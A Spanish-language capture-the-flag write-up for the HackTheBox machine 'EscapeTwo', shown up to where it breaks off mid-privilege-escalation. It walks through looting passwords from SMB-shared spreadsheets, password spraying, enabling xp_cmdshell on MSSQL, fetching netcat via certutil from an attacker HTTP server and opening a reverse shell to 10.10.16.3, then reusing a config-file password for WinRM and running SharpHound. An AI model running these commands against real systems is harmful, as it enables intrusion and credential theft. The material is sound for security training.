EscapeTwo – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“EscapeTwo” es una máquina de dificultad Fácil de la plataforma HackTheBox
enfocada en Active Directory
. Empezamos con credenciales iniciales dadas para un primer usuario. Este primer usuario tiene acceso a un archivo el cual contiene múltiples contraseñas. Una de estas contraseñas funciona para un segundo usuario en el sistema. Además, esta contraseña funciona para acceder a un servicio Microsoft SQL Server
(MSSQL
), del cual somos capaces de ejecutar comandos a nivel de sistema y ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de leer archivos de configuración del servicio SQL
, donde una contraseña encontrada es reutilizada por un tercer usuario en el sistema. Este tercer usuario tiene el permiso WriteOwner
sobre una cuenta CA
(Certiicate Authority
), relacionada a Active Directory Certificate Services
(AD CS
); esto nos permite realizar un ataque de Shadow Credentials
y así extraer su hash NT
. Finalmente, usando este último usuario CA
, encontramos un certificado vulnerable a ESC4
. Esto nos permite solicitar un certificado en nombre del usuario Administrator
, lo que a su vez nos permite extraer su hash NT
y así tomar control total del dominio.
User / Usuario Link to heading
rose
y contraseña KxEPkKe6R8su
.User Link to heading
Empezamos buscando puertos TCP
abiertos en la máquian víctima junto con un rápido y silencioso escaneo con Nmap
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv
El escaneo de Nmap
muestra múltiples puertos abiertos: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
SMB
, 1433
Microsoft SQL Server
(MSSQL
), 5985
Windows Remote Management
(WinRM
); entre muchos otros. Realizamos algunos scripts de reconocimiento sobre estos puertos usando la flag -sVC
:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49687,49692,49716,49725,49796 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 03:43 -03
Nmap scan report for 10.10.11.51
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 06:43:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T06:45:34+00:00; +2s from scanner time.
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T20:46:30
|_Not valid after: 2055-01-13T20:46:30
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49725/tcp open msrpc Microsoft Windows RPC
49796/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
| smb2-time:
| date: 2025-01-14T06:44:56
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.23 seconds
Por lo que estamos ante un entorno Active Directory
(AD
), dado que los servicios Kerberos
, RPC
, LDAP
y SMB
se encuentran activos.
Usando NetExec
contra el servicio SMB
muestra que tenemos una máquina con nombre DC01
, que a su vez se encuentra en un dominio sequel.htb
:
❯ nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
Agregamos así el FQDN
(DC01.sequel.htb
), el nombre de la máquina (DC01
) y el dominio (sequel.htb
) a nuestro archivo /etc/hosts
dado que este es claramente el Domain Controller
del entorno AD
debido a su nombre (DC -> Domain Controller
):
❯ echo '10.10.11.51 DC01 DC01.sequel.htb sequel.htb' | sudo tee -a /etc/hosts
Buscando por recursos compartidos en el servicio SMB
para el usuario que se nos ha dado podemos ver que hay 2 recursos compartidos los cuales no son los que siempre están por defecto; uno llamado Accounting Department
y otro llamado Users
:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
Podemos usar, nuevamente, NetExec
para revisar el contenido dentro del recurso compartido Accounting Department
. También podemos usar la flag --pattern .
para decir que queremos ver todo el output:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --spider 'Accounting Department' --pattern .
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Started spidering
SMB 10.10.11.51 445 DC01 [*] Spidering .
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/. [dir]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/.. [dir]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]
SMB 10.10.11.51 445 DC01 [*] Done spidering (Completed in 1.4340341091156006)
Podemos ver 2 archivos: accounting_2024.xlsx
y accounts.xlsx
.
Podemos escargar estos archivos usando nuevamente NetExec
:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounting_2024.xlsx accounting_2024.xlsx
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounts.xlsx accounts.xlsx
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"
Estos son archivos .xlsx
:
XLSX
files are a zipped, XML-based excel file format created by Microsoft Excel
Excel
.Una vez descargados estos archivos, debemos extraer su contenido. Para ello creamos un directorio en nuestra máquina de atacantes donde guardaremos todo el contenido de los archivos comprimidos:
❯ mkdir accounts_content
❯ xdg-open accounts.xlsx
Y extraemos su contenido. En mi caso lo hago mediante la ventana GUI:
Obtuve un error de que algunos archivos no pudieron ser extraídos, pero pude extraer la mayoría de ellos:
❯ tree -f .
.
├── ./[Content_Types].xml
├── ./docProps
│ ├── ./docProps/app.xml
│ ├── ./docProps/core.xml
│ └── ./docProps/custom.xml
├── ./_rels
└── ./xl
├── ./xl/_rels
│ └── ./xl/_rels/workbook.xml.rels
├── ./xl/sharedStrings.xml
├── ./xl/styles.xml
├── ./xl/theme
│ └── ./xl/theme/theme1.xml
├── ./xl/workbook.xml
└── ./xl/worksheets
├── ./xl/worksheets/_rels
│ └── ./xl/worksheets/_rels/sheet1.xml.rels
└── ./xl/worksheets/sheet1.xml
8 directories, 11 files
Buscamos si la palabra password
está presente en alguno de estos archivos extraídos usando grep
:
❯ grep -ir 'password' . 2>/dev/null
./xl/sharedStrings.xml:<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>
El archivo xl/sharedStrings.xml
tiene algo.
Para tener una mejor visión de lo que contiene este archivo podríamos abrir este archivo usando LibreOffice
o usar una página online que abra archivos .xml
. Dado que me gusta complicarme la vida, creo un script en Python
el cual lee este archivo .xml
:
#!/usr/bin/python3
import xml.etree.ElementTree as ET
def parse_shared_strings(xml_file):
# Parse the XML file
tree = ET.parse(xml_file)
root = tree.getroot()
namespace = {'ns': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'}
# Extract text from all <t> tags
data = [elem.text if elem.text != "NULL" else "<NULL>" for elem in root.findall(".//ns:t", namespace)]
updated_data = []
for i, value in enumerate(data):
updated_data.append(value)
if i % 5 == 0 and value == "<NULL>": # We have 5 fields in XML file
updated_data.append("<NULL>") # Add "<NULL>" for "Last Name"
return updated_data
def pretty_print(data):
# Group data into rows of 5 (assuming each row has 5 fields)
rows = [data[i:i+5] for i in range(0, len(data), 5)]
# Print header
print("{:<12} {:<12} {:<25} {:<12} {:<20}".format("First Name", "Last Name", "Email", "Username", "Password"))
print("-" * 85)
# Print rows
for row in rows:
print("{:<12} {:<12} {:<25} {:<12} {:<20}".format(*row))
if __name__ == "__main__":
# Path to the XML file
xml_file = "./xl/sharedStrings.xml"
# Parse the data
data = parse_shared_strings(xml_file)
# Pretty print the data
pretty_print(data)
y lo ejecutamos:
❯ python3 xml_viewver.py
First Name Last Name Email Username Password
-------------------------------------------------------------------------------------
First Name Last Name Email Username Password
Angela Martin angela@sequel.htb angela 0fwz7Q4mSpurIt99
Oscar Martinez oscar@sequel.htb oscar 86LxLBMgEWaKUnBG
Kevin Malone kevin@sequel.htb kevin Md9Wlq1E5bZnVDVo
<NULL> <NULL> sa@sequel.htb sa MSSQLP@ssw0rd!
Tenemos 5 usuarios y sus contraseñas.
Podemos guardar todos estos usuarios en un archivo:
❯ python3 xml_viewver.py | tail -n 4 | awk '{print $4}' > potential_users.txt
y guardar todas las contraseñas en otro archivo:
❯ python3 xml_viewver.py | tail -n 4 | awk '{print $5}' > potential_passwords.txt
Antes de realizar un ataque Password Spray
(probar una misma contraseña para distintos usuarios), siempre es buena idea revisar el número de intentos que podemos realizar para loguearse incorrectamente antes de que una cuenta se bloquee. Podemos hacer esto con nuestro compañero NetExec
y la flag --pass-pol
para el servicio SMB
:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --pass-pol
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [+] Dumping password info for domain: SEQUEL
SMB 10.10.11.51 445 DC01 Minimum password length: 7
SMB 10.10.11.51 445 DC01 Password history length: 24
SMB 10.10.11.51 445 DC01 Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.11.51 445 DC01
SMB 10.10.11.51 445 DC01 Password Complexity Flags: 000000
SMB 10.10.11.51 445 DC01 Domain Refuse Password Change: 0
SMB 10.10.11.51 445 DC01 Domain Password Store Cleartext: 0
SMB 10.10.11.51 445 DC01 Domain Password Lockout Admins: 0
SMB 10.10.11.51 445 DC01 Domain Password No Clear Change: 0
SMB 10.10.11.51 445 DC01 Domain Password No Anon Change: 0
SMB 10.10.11.51 445 DC01 Domain Password Complex: 0
SMB 10.10.11.51 445 DC01
SMB 10.10.11.51 445 DC01 Minimum password age: 1 day 4 minutes
SMB 10.10.11.51 445 DC01 Reset Account Lockout Counter: 10 minutes
SMB 10.10.11.51 445 DC01 Locked Account Duration: 10 minutes
SMB 10.10.11.51 445 DC01 Account Lockout Threshold: None
SMB 10.10.11.51 445 DC01 Forced Log off Time: Not Set
Tenemos infinitas oportunidades para probar contraseñas para una cuenta, como se espera para una máquina de dificultad Easy
.
Password Spray
o podemos bloquear cuentas importantes de una empresa.Usamos NetExec
para revisar credenciales que podrían ser útiles:
❯ nxc smb dc01.sequel.htb -u potential_users.txt -p potential_passwords.txt --continue-on-success
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [-] sequel.htb\kevin:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
<SNIP>
Tenemos credenciales válidas: oscar:86LxLBMgEWaKUnBG
.
No obstante, este usuario no tiene recursos compartidos nuevos o algo que no hayamos visto antes:
❯ nxc smb dc01.sequel.htb -u oscar -p '86LxLBMgEWaKUnBG' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
Recordemos que el servicio MSSQL
también estaba corriendo en la máquina víctima. Revisamos así si las credenciales encontradas para el usuario sa
usando las credenciales sa:MSSQLP@ssw0rd!
, recordando de usar la flag --local-auth
en el módulo mssql
de NetExec
para usar login del servicio MSSQL
(si no usamos --local-auth
vamos a tratar de loguearnos a este servicio utilizando credenciales del servicio AD
):
❯ nxc mssql dc01.sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
Funcionó. Tenemos credenciales válidas para MSSQL
.
Podemos así usar impacket-mssqlclient
para entrar en este servicio:
❯ impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@dc01.sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
Ya en este punto, siempre es una buena idea ir a HackTricks y ver lo que podemos hacer.
Revisamos bases de datos:
SQL (sa dbo@master)> SELECT name FROM master.dbo.sysdatabases;
name
------
master
tempdb
model
msdb
Pero estas son las bases de datos que vienen en MSSQL
. Por lo que no hay nada interesante.
Podemos ver si podemos ejecutar comandos:
SQL (sa dbo@master)> EXEC xp_cmdshell "net user";
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
No podemos.
Sin embargo, también podemos revisar si podemos habilitar la opción para ejecutar comandos:
SQL (sa dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
Parece ser que ha funcionado. Si tratamos de ejecutar comandos con xp_cmdshell
obtenemos:
SQL (sa dbo@master)> EXEC xp_cmdshell "net user";
output
-------------------------------------------------------------------------------
NULL
User accounts for \\DC01
NULL
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
NULL
NULL
Vemos que ha funcionado.
Podemos así pasar un binario de netcat
para Windows
en la máquina víctima. Empezamos un servidor temporal HTTP
con Python
por el puerto 8000
exponiendo el archivo de netcat
:
❯ ls -la && python3 -m http.server 8000
total 56
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jan 14 05:16 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jan 14 03:42 ..
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Jan 14 05:16 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
y, en la máquina víctima, usamos certutil
para descargar el binario de netcat
desde nuestra máquina de atacantes:
SQL (sa dbo@master)> EXEC xp_cmdshell "certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe";
output
---------------------------------------------------
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
NULL
Empezamos un listener con netcat
por el puerto 443
, junto con rlwrap
para tener algunas opciones como movernos hacia los lados con las flechas o poder ver comandos previos en la terminal:
❯ rlwrap -cAr nc -lvnp 443
Ya en escucha, ejecutamos el binario de netcat
en la máquina víctima para enviarnos una reverse shell a nuestra máquina de atacantes mediante la sesión de impacket-mssqlclient
:
SQL (sa dbo@master)> EXEC xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe";
Obtenemos así una shell como el usuario sql_svc
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 59982
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
sequel\sql_svc
En el directorio C:\
existe una carpeta SQL2019
:
C:\Windows\system32>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\
11/05/2022 11:03 AM <DIR> PerfLogs
01/04/2025 07:11 AM <DIR> Program Files
06/09/2024 07:37 AM <DIR> Program Files (x86)
06/08/2024 02:07 PM <DIR> SQL2019
06/09/2024 05:42 AM <DIR> Users
01/04/2025 08:10 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 2,178,764,800 bytes free
Buscando por archivos de configuración en esta carpeta encontramos:
C:\SQL2019>tree /f . | findstr /i conf
tree /f . | findstr /i conf
SETUP.EXE.CONFIG
sql-Configuration.INI
CONFIGURATION.UICFG
<SNIP>
Excluyendo archivos .exe
y .dll
, tenemos algunos archivos .xml
y .ini
. Esta página sugiere que para servicios MSSQL
los archivos de configuración deberían ser archivos .ini
.
Por ende, revisamos sql-Configuration.INI
y obtenemos algo:
C:\SQL2019>type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
Tenemos una contraseña: WqSZAF6CysDQbGb3
.
Podemos buscar por archivos en esta máquina:
C:\SQL2019>net user
net user
User accounts for \\DC01
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
Fuera de oscar
y rose
(cuyas contraseñas ya conocemos), tenemos 3 nuevos usuarios: michael
, ca_svc
y ryan
. Podemos, como ya es usual, utilizar NetExec
para revisar si esta contraseña es válida para cualquiera de estos usuarios:
❯ nxc smb dc01.sequel.htb -u michael ca_svc ryan -p 'WqSZAF6CysDQbGb3'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
Tenemos credenciales válidas: ryan:WqSZAF6CysDQbGb3
.
El usuario ryan
es miembro del Remote Management Users
:
C:\SQL2019>net user ryan
net user ryan
User name ryan
Full Name Ryan Howard
<SNIP>
Last logon 1/13/2025 3:39:27 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Management Department*Domain Users
The command completed successfully.
Por lo que deberíamos ser capaces de acceder por medio del servicio WinRM
como este usuario a la máquina víctima. Lo chequeamos con NetExec
:
❯ nxc winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
Tenemos acceso por medio del servicio WinRM
.
Por tanto, usamos evil-winrm
para conectarnos como el usuario ryan
en la máquina víctima:
❯ evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
NT Authority/System - Administrador Link to heading
Lo que llama especialmente mi atención al usar el comando net user
es que existe un usuario ca_svc
. CA
es usualmente un acrónimo para Certification Authority
en entornos AD
, más espefíciamente para Active Directory Certificate Services
(AD CS
).
Para analizar el entorno AD
usaremos Bloodhound
. Para obtener extraer información del dominio usaremos en específico SharpHound
, el cual puede ser descargado desde su repositorio de Github. Nos descargamos una copia, descomprimimos su contenido, extraemos el archivo .exe
y subimos este archivo a la máquina víctima usando el comando upload
de evil-winrm
:
*Evil-WinRM* PS C:\Users\ryan\Documents> upload SharpHound.exe
Ya subido el binario a la máquina víctima, ejecutamos SharpHound
para recolectar información acerca del entorno AD
:
*Evil-WinRM* PS C:\Users\ryan\Documents> .\SharpHound.exe -c All
2025-01-14T00:47:24.0440447-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-01-14T00:47:24.2784202-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>
1 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2025-01-14T00:47:26.6377987-08:00|INFORMATION|SharpHound Enumeration Completed at 12:47 AM on 1/14/2025! Happy Graphing!
Esto debería de generar un archivo .zip
:
*Evil-WinRM* PS C:\Users\ryan\Documents> ls
Directory: C:\Users\ryan\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/14/2025 12:47 AM 34959 20250114004725_BloodHound.zip
-a---- 1/14/2025 12:47 AM 1523 NGZlZGJhNTUtZGMxZi00MzRhLTkxYzUtZWNjYjM1NGU4YzNl.bin
-a---- 1/14/2025 12:46 AM 1556480 SharpHound.exe
Usamos el comando download
de evil-winrm
para descargar el archivo comprimido desde la máquina víctima a nuestra máquina de atacantes:
*Evil-WinRM* PS C:\Users\ryan\Documents> download 20250114004725_BloodHound.zip
Info: Downloading C:\Users\ryan\Documents\20250114004725_BloodHound.zip to 20250114004725_BloodHound.zip
Info: Download successful!
En nuestra máquina víctima, subimos el archivo .zip
a Bloodhound
(en mi caso usaré la Community Edition
, o CE
). Buscamos por el usuario ryan
y clickeamos en Outbound Object Control
al lado derecho. Así es que podemos ver:
Tenemos el permiso WriteOwner
sobre la cuenta ca_svc
:
WriteOwner
significa que tenemos permisos de escritura sobre la cuenta ca_svc
, donde podríamos intentar distintas cosas como cambiar su contraseña.
Primero, podemos asignarnos a nosotros mismos (el usuario ryan
) como dueños (owners) del objeto/usuario ca_svc
usando bloodyAD
:
